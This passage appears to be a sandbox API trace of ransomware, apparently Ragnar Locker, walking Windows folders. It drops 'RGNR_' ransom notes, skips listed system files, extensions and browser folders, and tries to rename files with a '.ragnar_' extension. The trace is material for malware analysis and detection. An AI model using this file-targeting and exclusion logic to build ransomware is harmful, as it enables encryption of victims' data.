ftLastWriteTime.dwLowDateTime=0x71c5f4e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0052.903] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0052.903] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71c5f4e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71c5f4e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.903] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0052.903] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0052.903] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c5f4e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x71c5f4e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0052.903] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0052.903] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0052.903] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0052.903] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0052.903] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0052.903] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0052.903] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0052.903] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71c5f4e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71c5f4e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0052.903] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71c5f4e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71c5f4e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.903] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c5f4e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x71c5f4e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0052.903] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0052.903] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0052.903] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\RGNR_FD7BD9FC.txt") returned=".txt" [0052.903] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0052.903] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0052.903] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0052.904] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0052.904] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned=".mui" [0052.904] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0052.904] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0052.904] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0052.904] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0052.904] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0052.904] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0052.904] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0052.904] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0052.904] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0052.904] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0052.904] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0052.904] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0052.904] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0052.904] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0052.904] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0052.904] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0052.904] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0052.904] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0052.904] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0052.904] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0052.904] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0052.904] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0052.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0053.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.013] CloseHandle (hObject=0xffffffff) returned 0 [0053.013] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" [0053.013] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.ragnar_FD7BD9FC" [0053.013] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.013] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0053.013] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0053.013] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0053.014] lstrcmpiW (lpString1="el-GR", lpString2=".") returned 1 [0053.014] lstrcmpiW (lpString1="el-GR", lpString2="..") returned 1 [0053.014] lstrcmpiW (lpString1="el-GR", lpString2="Windows") returned -1 [0053.014] lstrcmpiW (lpString1="el-GR", lpString2="Windows.old") returned -1 [0053.014] lstrcmpiW (lpString1="el-GR", lpString2="Tor browser") returned -1 [0053.014] lstrcmpiW (lpString1="el-GR", lpString2="Internet Explorer") returned -1 [0053.014] lstrcmpiW (lpString1="el-GR", lpString2="Google") returned -1 [0053.014] lstrcmpiW (lpString1="el-GR", lpString2="Opera") returned -1 [0053.014] lstrcmpiW (lpString1="el-GR", lpString2="Opera Software") returned -1 [0053.014] lstrcmpiW (lpString1="el-GR", lpString2="Mozilla") returned -1 [0053.014] lstrcmpiW (lpString1="el-GR", lpString2="Mozilla Firefox") returned -1 [0053.014] lstrcmpiW (lpString1="el-GR", lpString2="$Recycle.Bin") returned 1 [0053.014] lstrcmpiW (lpString1="el-GR", lpString2="ProgramData") returned -1 [0053.014] lstrcmpiW (lpString1="el-GR", lpString2="All Users") returned 1 [0053.014] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0053.014] lstrcpyW (in: lpString1=0x1eb62e, lpString2="el-GR" | out: lpString1="el-GR") returned="el-GR" [0053.014] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\" [0053.014] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\" [0053.014] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\RGNR_FD7BD9FC.txt" [0053.014] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0053.016] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*" [0053.016] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.016] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0053.016] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0053.016] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71d69e80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71d69e80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0053.017] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.017] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71d69e80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71d69e80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.017] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.017] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.017] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d69e80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x71d69e80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0053.017] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0053.017] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0053.017] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0053.017] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0053.017] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0053.017] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0053.017] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0053.017] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71d69e80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71d69e80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0053.018] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71d69e80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71d69e80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.018] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d69e80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x71d69e80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0053.018] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.018] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0053.018] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\RGNR_FD7BD9FC.txt") returned=".txt" [0053.018] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0053.018] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0053.018] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.018] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0053.018] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned=".mui" [0053.018] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0053.018] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0053.018] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0053.018] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0053.018] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0053.018] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0053.018] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0053.018] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0053.018] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0053.018] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0053.018] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0053.018] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0053.018] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0053.018] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0053.018] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0053.018] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0053.018] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0053.018] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0053.018] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0053.018] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0053.018] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0053.018] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0053.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0053.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.019] CloseHandle (hObject=0xffffffff) returned 0 [0053.019] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" [0053.019] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui.ragnar_FD7BD9FC" [0053.019] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.019] FindNextFileW (in: 